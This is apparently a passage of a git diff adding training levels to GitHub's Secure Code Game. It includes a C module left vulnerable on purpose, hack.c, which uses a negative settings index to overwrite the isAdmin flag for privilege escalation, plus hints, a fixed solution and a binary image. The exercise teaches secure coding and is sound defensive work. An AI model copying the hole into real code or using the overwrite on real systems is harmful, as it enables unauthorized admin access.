only, +# without malicious intend. + + +# Contribute new levels to the game in 3 simple steps! +# Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md \ No newline at end of file diff --git a/Season-1/Level-1/tests.py b/Season-1/Level-1/tests.py new file mode 100644 index 0000000..0453f12 --- /dev/null +++ b/Season-1/Level-1/tests.py @@ -0,0 +1,43 @@ +import unittest +import code as c + +class TestOnlineStore(unittest.TestCase): + + # Example 1 - shows a valid and successful payment for a tv + def test_1(self): + tv_item = c.Item(type='product', description='tv', amount=1000.00, quantity=1) + payment = c.Item(type='payment', description='invoice_1', amount=1000.00, quantity=1) + order_1 = c.Order(id='1', items=[payment, tv_item]) + self.assertEqual(c.validorder(order_1), 'Order ID: 1 - Full payment received!') + + # Example 2 - successfully detects payment imbalance as tv was never paid + def test_2(self): + tv_item = c.Item(type='product', description='tv', amount=1000.00, quantity=1) + order_2 = c.Order(id='2', items=[tv_item]) + self.assertEqual(c.validorder(order_2), 'Order ID: 2 - Payment imbalance: $-1000.00') + + # Example 3 - successfully reimburses client for a return so payment imbalance exists + def test_3(self): + tv_item = c.Item(type='product', description='tv', amount=1000.00, quantity=1) + payment = c.Item(type='payment', description='invoice_3', amount=1000.00, quantity=1) + payback = c.Item(type='payment', description='payback_3', amount=-1000.00, quantity=1) + order_3 = c.Order(id='3', items=[payment, tv_item, payback]) + self.assertEqual(c.validorder(order_3), 'Order ID: 3 - Payment imbalance: $-1000.00') + + # Example 4 - handles invalid input such as placing an invalid order for 1.5 device + def test_4(self): + tv = c.Item(type='product', description='tv', amount=1000, quantity=1.5) + order_1 = c.Order(id='1', items=[tv]) + try: + c.validorder(order_1) + except: + self.fail("Invalid order detected") + + # Example 5 - handles an invalid item type called 'service' + def test_5(self): + service = c.Item(type='service', description='order shipment', amount=100, quantity=1) + order_1 = c.Order(id='1', items=[service]) + self.assertEqual(c.validorder(order_1), 'Invalid item type: service') + +if __name__ == '__main__': + unittest.main() \ No newline at end of file diff --git a/Season-1/Level-2/code.h b/Season-1/Level-2/code.h new file mode 100644 index 0000000..ab90179 --- /dev/null +++ b/Season-1/Level-2/code.h @@ -0,0 +1,106 @@ +// Welcome to Secure Code Game Season-1/Level-2! + +// Follow the instructions below to get started: + +// 1. Perform code review. Can you spot the bug? +// 2. Run tests.c to test the functionality +// 3. Run hack.c and if passing then CONGRATS! +// 4. Compare your solution with solution.c + +#include +#include +#include +#include +#include + +#define MAX_USERNAME_LEN 39 +#define SETTINGS_COUNT 10 +#define MAX_USERS 100 +#define INVALID_USER_ID -1 + +// For simplicity, both the private (implementation specific) and the public (API) parts +// of this application have been combined inside this header file. In the real-world, it +// is expected for the public (API) parts only to be presented here. Therefore, for the +// purpose of this level, please assume that the private (implementation specific) sections +// of this file, would not be known to the non-privileged users of this application + +// Internal counter of user accounts +int userid_next = 0; + +// The following structure is implementation-speicific and it's supposed to be unknown +// to non-privileged users +typedef struct { + bool isAdmin; + long userid; + char username[MAX_USERNAME_LEN + 1]; + long setting[SETTINGS_COUNT]; +} user_account; + +// Simulates an internal store of active user accounts +user_account *accounts[MAX_USERS]; + +// The signatures of the following four functions together with the previously introduced +// constants (see #DEFINEs) constitute the API of this module + +// Creates a new user account and returns it's unique identifier +int create_user_account(bool isAdmin, const char *username) { + if (userid_next >= MAX_USERS) { + fprintf(stderr, "the maximum number of users have been exceeded"); + return INVALID_USER_ID; + } + + user_account *ua; + if (strlen(username) > MAX_USERNAME_LEN) { + fprintf(stderr, "the username is too long"); + return INVALID_USER_ID; + } + ua = malloc(sizeof (user_account)); + if (ua == NULL) { + fprintf(stderr, "malloc failed to allocate memory"); + return INVALID_USER_ID; + } + ua->isAdmin = isAdmin; + ua->userid = userid_next++; + strcpy(ua->username, username); + memset(&ua->setting, 0, sizeof ua->setting); + accounts[userid_next] = ua; + return userid_next++; +} + +// Updates the matching setting for the specified user and returns the status of the operation +// A setting is some arbitrary string associated with an index as a key +bool update_setting(int user_id, const char *index, const char *value) { + if (user_id < 0 || user_id >= MAX_USERS) + return false; + + char *endptr; + long i, v; + i = strtol(index, &endptr, 10); + if (*endptr) + return false; + + v = strtol(value, &endptr, 10); + if (*endptr || i >= SETTINGS_COUNT) + return false; + accounts[user_id]->setting[i] = v; + return true; +} + +// Returns whether the specified user is an admin +bool is_admin(int user_id) { + if (user_id < 0 || user_id >= MAX_USERS) { + fprintf(stderr, "invalid user id"); + return false; + } + return accounts[user_id]->isAdmin; +} + +// Returns the username of the specified user +const char* username(int user_id) { + // Returns an error for invalid user ids + if (user_id < 0 || user_id >= MAX_USERS) { + fprintf(stderr, "invalid user id"); + return NULL; + } + return accounts[user_id]->username; +} \ No newline at end of file diff --git a/Season-1/Level-2/hack.c b/Season-1/Level-2/hack.c new file mode 100644 index 0000000..2a961e2 --- /dev/null +++ b/Season-1/Level-2/hack.c @@ -0,0 +1,30 @@ +// Run hack.c by following the instructions below: + +// This file exploits the vulnerabilities in code.h. Running this file will fail initially as it contains failing tests. +// As all other levels, your goal is to get this file to pass. + +// Run hack by opening a terminal and running the following: +// $ make Season-1/Level-2/hack && ./Season-1/Level-2/hack + +// As a reminder, to pass this level, both this file alongside tests.c must pass. + +#include "code.h" + +int main() { + printf("Level 2 \n\n"); + // Creates a non-admin username called "pwned" + int user1 = create_user_account(false, "pwned"); + printf("0. Non-admin (admin:%i) username called '%s' has been created \n", is_admin(user1), username(user1)); + + // An outsider or an insider managed to supply the following input that originally aimed to change a dummy non-admin setting + update_setting(user1, "-7", "1"); + printf("1. A dummy setting has been set to dummy number '1' \n"); + printf("2. Making sure user '%s' is not an admin by performing a check -> [Result] Admin:%i \n\n", username(user1), is_admin(user1)); + + if (is_admin(user1)) + printf(" PRIVILEGE ESCALATION ATTACK DETECTED\n"); + else + printf("CONGRATULATIONS LEVEL 2 PASSED!\n"); + + return 0; +} \ No newline at end of file diff --git a/Season-1/Level-2/hint-1.txt b/Season-1/Level-2/hint-1.txt new file mode 100644 index 0000000..8da5f44 --- /dev/null +++ b/Season-1/Level-2/hint-1.txt @@ -0,0 +1,5 @@ +Consider what can happen if an attacker figures out the private, +implementation-specific details of the user_account structure +inside code.h. What can the attacker do with this information? + +Go back and try the exercise without looking hint-2.txt ;) \ No newline at end of file diff --git a/Season-1/Level-2/hint-2.txt b/Season-1/Level-2/hint-2.txt new file mode 100644 index 0000000..4dc2d2f --- /dev/null +++ b/Season-1/Level-2/hint-2.txt @@ -0,0 +1,6 @@ +Have a look inside hack.c and look at what the attacker is passing as an argument. +Is that input able to overwrite something important somewhere? + + +# Contribute new levels to the game in 3 simple steps! +# Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md \ No newline at end of file diff --git a/Season-1/Level-2/solution.c b/Season-1/Level-2/solution.c new file mode 100644 index 0000000..724294a --- /dev/null +++ b/Season-1/Level-2/solution.c @@ -0,0 +1,141 @@ +// Vulnerability was in line 83 of code.h +// Fix can be found in line 77 below + +#include +#include +#include +#include +#include + +#define MAX_USERNAME_LEN 39 +#define SETTINGS_COUNT 10 +#define MAX_USERS 100 +#define INVALID_USER_ID -1 + +// For simplicity, both the private (implementation specific) and the public (API) parts +// of this application have been combined inside this header file. In the real-world, it +// is expected for the public (API) parts only to be presented here. Therefore, for the +// purpose of this level, please assume that the private (implementation specific) sections +// of this file, would not be known to the non-privileged users of this application + +// Internal counter of user accounts +int userid_next = 0; + +// The following structure is implementation-speicific and it's supposed to be unknown +// to non-privileged users +typedef struct { + bool isAdmin; + long userid; + char username[MAX_USERNAME_LEN + 1]; + long setting[SETTINGS_COUNT]; +} user_account; + +// Simulates an internal store of active user accounts +user_account *accounts[MAX_USERS]; + +// The signatures of the following four functions together with the previously introduced +// constants (see #DEFINEs) constitute the API of this module + +// Creates a new user account and returns it's unique identifier +int create_user_account(bool isAdmin, const char *username) { + if (userid_next >= MAX_USERS) { + fprintf(stderr, "the maximum number of users have been exceeded"); + return INVALID_USER_ID; + } + + user_account *ua; + if (strlen(username) > MAX_USERNAME_LEN) { + fprintf(stderr, "the username is too long"); + return INVALID_USER_ID; + } + ua = malloc(sizeof (user_account)); + if (ua == NULL) { + fprintf(stderr, "malloc failed to allocate memory"); + return INVALID_USER_ID; + } + ua->isAdmin = isAdmin; + ua->userid = userid_next++; + strcpy(ua->username, username); + memset(&ua->setting, 0, sizeof ua->setting); + accounts[userid_next] = ua; + return userid_next++; +} + +// Updates the matching setting for the specified user and returns the status of the operation +// A setting is some arbitrary string associated with an index as a key +bool update_setting(int user_id, const char *index, const char *value) { + if (user_id < 0 || user_id >= MAX_USERS) + return false; + + char *endptr; + long i, v; + i = strtol(index, &endptr, 10); + if (*endptr) + return false; + + v = strtol(value, &endptr, 10); + // FIX: We should check for negative index values too! Scroll for the full solution + if (*endptr || i < 0 || i >= SETTINGS_COUNT) + return false; + accounts[user_id]->setting[i] = v; + return true; +} + +// Returns whether the specified user is an admin +bool is_admin(int user_id) { + if (user_id < 0 || user_id >= MAX_USERS) { + fprintf(stderr, "invalid user id"); + return false; + } + return accounts[user_id]->isAdmin; +} + +// Returns the username of the specified user +const char* username(int user_id) { + // Returns an error for invalid user ids + if (user_id < 0 || user_id >= MAX_USERS) { + fprintf(stderr, "invalid user id"); + return NULL; + } + return accounts[user_id]->username; +} + +/* + There are two vulnerabilities in this code: + + (1) Security through Obscurity Abuse Vulnerability + -------------------------------------------- + + The concept of security through obscurity (STO) relies on the idea that a + system can remain secure if something (even a vulnerability!) is secret or + hidden. If an attacker doesn't know what the weaknesses are, they cannot + exploit them. The flip side is that once that vulnerability is exposed, + it's no longer secure. It's widely believed that security through obscurity + is an ineffective security measure on its own, and should be avoided due to + a potential single point of failure and a fall sense of security. + + In code.h the user_account structure is supposed to be an implementation + detail that is not visible to the user. Otherwise, attackers could easily + modify the structure and change the 'isAdmin' flag to 'true', to gain admin + privileges. + + Therefore, as this example illustrates, security through obscurity alone is + not enough to secure a system. Attackers are in position toreverse engineer + the code and find the vulnerability. This is exposed in hack.c (see below). + + You can read more about the concept of security through obscurity here: + https://securitytrails.com/blog/security-through-obscurity + + + (2) Buffer Overflow Vulnerability + ---------------------------- + + In hack.c, an attacker escalated privileges and became an admin by abusing + the fact that the code wasn't checking for negative index values. + + Negative indexing here caused an unauthorized write to memory and affected a + flag, changing a non-admin user to admin. + + You can read more about buffer overflow vulnerabilities here: + https://owasp.org/www-community/vulnerabilities/Buffer_Overflow +*/ \ No newline at end of file diff --git a/Season-1/Level-2/tests.c b/Season-1/Level-2/tests.c new file mode 100644 index 0000000..3253e76 --- /dev/null +++ b/Season-1/Level-2/tests.c @@ -0,0 +1,28 @@ +// Run tests.c by following the instructions below: + +// This file contains passing tests. + +// Run them by opening a terminal and running the following: +// $ make Season-1/Level-2/tests && ./Season-1/Level-2/tests + +#include "code.h" + +int main() { + printf("Level 2 \n\n"); + // Creates a non-admin username called "pwned" + int user1 = create_user_account(false, "pwned"); + printf("0. Non-admin (admin:%i) username called '%s' has been created \n\n", is_admin(user1), username(user1)); + + printf("1. Non-admin users like '%s' can update some dummy numerical settings \n", username(user1)); + printf("2. Non-admin users have no access to settings that can escalate themselves to admins \n\n"); + + // Updates the setting '1' of the pwned username to the number '10' + update_setting(user1, "1", "10"); + printf("3. Dummy setting '1' has been now set to dummy number '10' for user '%s' \n", username(user1)); + printf("4. Making sure user '%s' is not an admin by performing a check -> [Result] Admin:%i \n\n", username(user1), is_admin(user1)); + + if (!is_admin(user1)) + printf("User is not an admin so the code works as expected... is it though? \n"); + + return 0; +} \ No newline at end of file diff --git a/Season-1/Level-3/assets/prof_picture.png b/Season-1/Level-3/assets/prof_picture.png new file mode 100644 index 0000000000000000000000000000000000000000..472d839e4d89c872a0f5b4acd732723aec8f6c1f GIT binary patch literal 20177 zcmXtg2Q-}D^Y^o>Meikg){2m*Ay_rBT0}`CdMA1pJy

mer#tQKI+W7SR%2@YM;i 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 